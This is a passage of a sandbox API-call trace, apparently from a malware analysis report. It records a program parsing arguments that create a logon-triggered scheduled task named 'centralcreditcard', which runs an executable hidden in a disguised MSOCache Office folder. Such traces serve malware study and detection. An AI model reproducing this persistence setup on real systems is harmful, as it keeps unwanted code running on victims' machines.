_Buf2=0xff901b08, _Size=0x7) returned 0 [0081.672] lstrlenW (lpString="tn") returned 2 [0081.672] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.672] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|mo|") returned 4 [0081.672] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tn|") returned 4 [0081.672] lstrlenW (lpString="|mo|") returned 4 [0081.672] lstrlenW (lpString="|tn|") returned 4 [0081.672] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0081.672] SetLastError (dwErrCode=0x490) [0081.672] lstrlenW (lpString="d") returned 1 [0081.672] lstrlenW (lpString="d") returned 1 [0081.672] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.672] lstrlenW (lpString="tn") returned 2 [0081.672] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.672] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|d|") returned 3 [0081.673] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tn|") returned 4 [0081.673] lstrlenW (lpString="|d|") returned 3 [0081.673] lstrlenW (lpString="|tn|") returned 4 [0081.673] SetLastError (dwErrCode=0x490) [0081.673] lstrlenW (lpString="m") returned 1 [0081.673] lstrlenW (lpString="m") returned 1 [0081.673] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.673] lstrlenW (lpString="tn") returned 2 [0081.673] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.673] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|m|") returned 3 [0081.673] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tn|") returned 4 [0081.673] lstrlenW (lpString="|m|") returned 3 [0081.673] lstrlenW (lpString="|tn|") returned 4 [0081.673] SetLastError (dwErrCode=0x490) [0081.673] lstrlenW (lpString="i") returned 1 [0081.673] lstrlenW (lpString="i") returned 1 [0081.673] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.673] lstrlenW (lpString="tn") returned 2 [0081.673] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.673] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|i|") returned 3 [0081.673] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tn|") returned 4 [0081.673] lstrlenW (lpString="|i|") returned 3 [0081.673] lstrlenW (lpString="|tn|") returned 4 [0081.673] SetLastError (dwErrCode=0x490) [0081.673] lstrlenW (lpString="tn") returned 2 [0081.673] lstrlenW (lpString="tn") returned 2 [0081.673] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.673] lstrlenW (lpString="tn") returned 2 [0081.674] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.674] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tn|") returned 4 [0081.674] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tn|") returned 4 [0081.674] lstrlenW (lpString="|tn|") returned 4 [0081.700] lstrlenW (lpString="|tn|") returned 4 [0081.700] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0081.700] SetLastError (dwErrCode=0x0) [0081.700] SetLastError (dwErrCode=0x0) [0081.700] lstrlenW (lpString="centralcreditcard") returned 17 [0081.700] lstrlenW (lpString="-/") returned 2 [0081.701] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0081.701] SetLastError (dwErrCode=0x490) [0081.701] SetLastError (dwErrCode=0x490) [0081.701] SetLastError (dwErrCode=0x0) [0081.701] lstrlenW (lpString="centralcreditcard") returned 17 [0081.701] StrChrIW (lpStart="centralcreditcard", wMatch=0x3a) returned 0x0 [0081.701] SetLastError (dwErrCode=0x490) [0081.701] SetLastError (dwErrCode=0x0) [0081.701] lstrlenW (lpString="centralcreditcard") returned 17 [0081.701] SetLastError (dwErrCode=0x0) [0081.701] SetLastError (dwErrCode=0x0) [0081.701] lstrlenW (lpString="/sc") returned 3 [0081.701] lstrlenW (lpString="-/") returned 2 [0081.701] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0081.701] lstrlenW (lpString="create") returned 6 [0081.701] lstrlenW (lpString="create") returned 6 [0081.701] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.701] lstrlenW (lpString="sc") returned 2 [0081.701] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.701] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|create|") returned 8 [0081.701] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|sc|") returned 4 [0081.701] lstrlenW (lpString="|create|") returned 8 [0081.701] lstrlenW (lpString="|sc|") returned 4 [0081.701] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0081.701] SetLastError (dwErrCode=0x490) [0081.701] lstrlenW (lpString="?") returned 1 [0081.701] lstrlenW (lpString="?") returned 1 [0081.701] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.701] lstrlenW (lpString="sc") returned 2 [0081.702] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.702] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|?|") returned 3 [0081.702] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|sc|") returned 4 [0081.702] lstrlenW (lpString="|?|") returned 3 [0081.702] lstrlenW (lpString="|sc|") returned 4 [0081.702] SetLastError (dwErrCode=0x490) [0081.702] lstrlenW (lpString="s") returned 1 [0081.702] lstrlenW (lpString="s") returned 1 [0081.702] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.702] lstrlenW (lpString="sc") returned 2 [0081.702] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.702] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|s|") returned 3 [0081.702] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|sc|") returned 4 [0081.702] lstrlenW (lpString="|s|") returned 3 [0081.702] lstrlenW (lpString="|sc|") returned 4 [0081.702] SetLastError (dwErrCode=0x490) [0081.702] lstrlenW (lpString="u") returned 1 [0081.702] lstrlenW (lpString="u") returned 1 [0081.702] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.702] lstrlenW (lpString="sc") returned 2 [0081.702] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.702] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|u|") returned 3 [0081.702] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|sc|") returned 4 [0081.702] lstrlenW (lpString="|u|") returned 3 [0081.702] lstrlenW (lpString="|sc|") returned 4 [0081.702] SetLastError (dwErrCode=0x490) [0081.702] lstrlenW (lpString="p") returned 1 [0081.703] lstrlenW (lpString="p") returned 1 [0081.703] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.703] lstrlenW (lpString="sc") returned 2 [0081.703] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.703] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|p|") returned 3 [0081.703] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|sc|") returned 4 [0081.703] lstrlenW (lpString="|p|") returned 3 [0081.703] lstrlenW (lpString="|sc|") returned 4 [0081.703] SetLastError (dwErrCode=0x490) [0081.703] lstrlenW (lpString="ru") returned 2 [0081.703] lstrlenW (lpString="ru") returned 2 [0081.703] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.703] lstrlenW (lpString="sc") returned 2 [0081.703] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.703] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|ru|") returned 4 [0081.703] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|sc|") returned 4 [0081.703] lstrlenW (lpString="|ru|") returned 4 [0081.703] lstrlenW (lpString="|sc|") returned 4 [0081.703] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0081.703] SetLastError (dwErrCode=0x490) [0081.703] lstrlenW (lpString="rp") returned 2 [0081.703] lstrlenW (lpString="rp") returned 2 [0081.703] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.703] lstrlenW (lpString="sc") returned 2 [0081.703] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.703] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rp|") returned 4 [0081.703] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|sc|") returned 4 [0081.704] lstrlenW (lpString="|rp|") returned 4 [0081.704] lstrlenW (lpString="|sc|") returned 4 [0081.704] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0081.704] SetLastError (dwErrCode=0x490) [0081.704] lstrlenW (lpString="sc") returned 2 [0081.704] lstrlenW (lpString="sc") returned 2 [0081.704] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.704] lstrlenW (lpString="sc") returned 2 [0081.704] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.704] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|sc|") returned 4 [0081.704] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|sc|") returned 4 [0081.704] lstrlenW (lpString="|sc|") returned 4 [0081.704] lstrlenW (lpString="|sc|") returned 4 [0081.704] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0081.704] SetLastError (dwErrCode=0x0) [0081.704] SetLastError (dwErrCode=0x0) [0081.704] lstrlenW (lpString="ONLOGON") returned 7 [0081.704] lstrlenW (lpString="-/") returned 2 [0081.704] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0081.704] SetLastError (dwErrCode=0x490) [0081.704] SetLastError (dwErrCode=0x490) [0081.704] SetLastError (dwErrCode=0x0) [0081.704] lstrlenW (lpString="ONLOGON") returned 7 [0081.704] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0081.704] SetLastError (dwErrCode=0x490) [0081.704] SetLastError (dwErrCode=0x0) [0081.704] GetProcessHeap () returned 0x110000 [0081.704] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x18) returned 0x12d700 [0081.704] _memicmp (_Buf1=0x12d700, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.705] lstrlenW (lpString="ONLOGON") returned 7 [0081.705] GetProcessHeap () returned 0x110000 [0081.705] RtlAllocateHeap (HeapHandle=0x110000, Flags=0xc, Size=0x10) returned 0x12d720 [0081.705] lstrlenW (lpString="ONLOGON") returned 7 [0081.705] lstrlenW (lpString=" \x09") returned 2 [0081.705] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0081.705] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0081.705] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0081.705] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0081.705] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0081.705] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0081.705] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0081.705] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0081.705] GetLastError () returned 0x0 [0081.705] lstrlenW (lpString="ONLOGON") returned 7 [0081.705] lstrlenW (lpString="ONLOGON") returned 7 [0081.705] SetLastError (dwErrCode=0x0) [0081.705] SetLastError (dwErrCode=0x0) [0081.705] lstrlenW (lpString="/tr") returned 3 [0081.705] lstrlenW (lpString="-/") returned 2 [0081.705] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0081.705] lstrlenW (lpString="create") returned 6 [0081.705] lstrlenW (lpString="create") returned 6 [0081.705] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.705] lstrlenW (lpString="tr") returned 2 [0081.705] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.705] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|create|") returned 8 [0081.705] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tr|") returned 4 [0081.706] lstrlenW (lpString="|create|") returned 8 [0081.706] lstrlenW (lpString="|tr|") returned 4 [0081.706] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0081.706] SetLastError (dwErrCode=0x490) [0081.706] lstrlenW (lpString="?") returned 1 [0081.706] lstrlenW (lpString="?") returned 1 [0081.706] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.706] lstrlenW (lpString="tr") returned 2 [0081.706] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.706] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|?|") returned 3 [0081.706] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tr|") returned 4 [0081.706] lstrlenW (lpString="|?|") returned 3 [0081.706] lstrlenW (lpString="|tr|") returned 4 [0081.706] SetLastError (dwErrCode=0x490) [0081.706] lstrlenW (lpString="s") returned 1 [0081.706] lstrlenW (lpString="s") returned 1 [0081.706] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.706] lstrlenW (lpString="tr") returned 2 [0081.706] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.706] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|s|") returned 3 [0081.706] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tr|") returned 4 [0081.706] lstrlenW (lpString="|s|") returned 3 [0081.706] lstrlenW (lpString="|tr|") returned 4 [0081.706] SetLastError (dwErrCode=0x490) [0081.706] lstrlenW (lpString="u") returned 1 [0081.706] lstrlenW (lpString="u") returned 1 [0081.706] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.707] lstrlenW (lpString="tr") returned 2 [0081.707] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.707] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|u|") returned 3 [0081.707] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tr|") returned 4 [0081.707] lstrlenW (lpString="|u|") returned 3 [0081.707] lstrlenW (lpString="|tr|") returned 4 [0081.707] SetLastError (dwErrCode=0x490) [0081.707] lstrlenW (lpString="p") returned 1 [0081.707] lstrlenW (lpString="p") returned 1 [0081.707] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.707] lstrlenW (lpString="tr") returned 2 [0081.707] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.707] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|p|") returned 3 [0081.707] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tr|") returned 4 [0081.707] lstrlenW (lpString="|p|") returned 3 [0081.707] lstrlenW (lpString="|tr|") returned 4 [0081.707] SetLastError (dwErrCode=0x490) [0081.707] lstrlenW (lpString="ru") returned 2 [0081.707] lstrlenW (lpString="ru") returned 2 [0081.707] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.707] lstrlenW (lpString="tr") returned 2 [0081.707] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.707] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|ru|") returned 4 [0081.707] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tr|") returned 4 [0081.707] lstrlenW (lpString="|ru|") returned 4 [0081.707] lstrlenW (lpString="|tr|") returned 4 [0081.708] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0081.708] SetLastError (dwErrCode=0x490) [0081.708] lstrlenW (lpString="rp") returned 2 [0081.708] lstrlenW (lpString="rp") returned 2 [0081.708] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.708] lstrlenW (lpString="tr") returned 2 [0081.708] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.708] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|rp|") returned 4 [0081.708] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tr|") returned 4 [0081.708] lstrlenW (lpString="|rp|") returned 4 [0081.708] lstrlenW (lpString="|tr|") returned 4 [0081.708] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0081.708] SetLastError (dwErrCode=0x490) [0081.708] lstrlenW (lpString="sc") returned 2 [0081.708] lstrlenW (lpString="sc") returned 2 [0081.708] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.708] lstrlenW (lpString="tr") returned 2 [0081.708] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.708] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|sc|") returned 4 [0081.708] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tr|") returned 4 [0081.708] lstrlenW (lpString="|sc|") returned 4 [0081.708] lstrlenW (lpString="|tr|") returned 4 [0081.708] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0081.708] SetLastError (dwErrCode=0x490) [0081.708] lstrlenW (lpString="mo") returned 2 [0081.708] lstrlenW (lpString="mo") returned 2 [0081.708] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.709] lstrlenW (lpString="tr") returned 2 [0081.709] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.709] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|mo|") returned 4 [0081.709] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tr|") returned 4 [0081.709] lstrlenW (lpString="|mo|") returned 4 [0081.709] lstrlenW (lpString="|tr|") returned 4 [0081.709] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0081.709] SetLastError (dwErrCode=0x490) [0081.709] lstrlenW (lpString="d") returned 1 [0081.709] lstrlenW (lpString="d") returned 1 [0081.709] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.709] lstrlenW (lpString="tr") returned 2 [0081.709] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.709] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|d|") returned 3 [0081.709] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tr|") returned 4 [0081.709] lstrlenW (lpString="|d|") returned 3 [0081.709] lstrlenW (lpString="|tr|") returned 4 [0081.709] SetLastError (dwErrCode=0x490) [0081.709] lstrlenW (lpString="m") returned 1 [0081.709] lstrlenW (lpString="m") returned 1 [0081.709] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.709] lstrlenW (lpString="tr") returned 2 [0081.709] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.709] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|m|") returned 3 [0081.709] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tr|") returned 4 [0081.709] lstrlenW (lpString="|m|") returned 3 [0081.710] lstrlenW (lpString="|tr|") returned 4 [0081.710] SetLastError (dwErrCode=0x490) [0081.710] lstrlenW (lpString="i") returned 1 [0081.710] lstrlenW (lpString="i") returned 1 [0081.710] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.710] lstrlenW (lpString="tr") returned 2 [0081.710] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.710] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|i|") returned 3 [0081.710] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tr|") returned 4 [0081.710] lstrlenW (lpString="|i|") returned 3 [0081.710] lstrlenW (lpString="|tr|") returned 4 [0081.710] SetLastError (dwErrCode=0x490) [0081.710] lstrlenW (lpString="tn") returned 2 [0081.710] lstrlenW (lpString="tn") returned 2 [0081.710] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.710] lstrlenW (lpString="tr") returned 2 [0081.710] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.710] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tn|") returned 4 [0081.710] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tr|") returned 4 [0081.710] lstrlenW (lpString="|tn|") returned 4 [0081.710] lstrlenW (lpString="|tr|") returned 4 [0081.710] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0081.710] SetLastError (dwErrCode=0x490) [0081.710] lstrlenW (lpString="tr") returned 2 [0081.710] lstrlenW (lpString="tr") returned 2 [0081.710] _memicmp (_Buf1=0x12c280, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.710] lstrlenW (lpString="tr") returned 2 [0081.710] _memicmp (_Buf1=0x12c3c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.711] _vsnwprintf (in: _Buffer=0x12c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tr|") returned 4 [0081.711] _vsnwprintf (in: _Buffer=0x12c3e0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc6e8 | out: _Buffer="|tr|") returned 4 [0081.711] lstrlenW (lpString="|tr|") returned 4 [0081.711] lstrlenW (lpString="|tr|") returned 4 [0081.711] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0081.711] SetLastError (dwErrCode=0x0) [0081.711] SetLastError (dwErrCode=0x0) [0081.711] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0081.711] lstrlenW (lpString="-/") returned 2 [0081.711] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0081.711] SetLastError (dwErrCode=0x490) [0081.711] SetLastError (dwErrCode=0x490) [0081.711] SetLastError (dwErrCode=0x0) [0081.711] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0081.711] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'" [0081.711] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0081.711] _memicmp (_Buf1=0x12c490, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.711] _memicmp (_Buf1=0x12c4d0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.711] SetLastError (dwErrCode=0x7a) [0081.711] SetLastError (dwErrCode=0x0) [0081.711] SetLastError (dwErrCode=0x0) [0081.711] lstrlenW (lpString="'C") returned 2 [0081.711] lstrlenW (lpString="-/") returned 2 [0081.711] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0081.711] SetLastError (dwErrCode=0x490) [0081.711] SetLastError (dwErrCode=0x490) [0081.711] SetLastError (dwErrCode=0x0) [0081.711] _memicmp (_Buf1=0x12d700, _Buf2=0xff901b08, _Size=0x7) returned 0 [0081.711] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0081.711] GetProcessHeap () returned 0x110000 [0081.712] HeapValidate (hHeap=0x110000, dwFlags=0x0, lpMem=0x12d720) returned 1 [0081.712] GetProcessHeap () returned 0x110000 [0081.712] RtlReAllocateHeap (Heap=0x110000, Flags=0xc, Ptr=0x12d720, Size=0xae) returned 0x12c5b0 [0081.712] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'") returned 86 [0081.712] lstrlenW (lpString=" \x09") returned 2 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0081.712] StrChrW (lpStart=" \x09", wMatch=0x63) returned 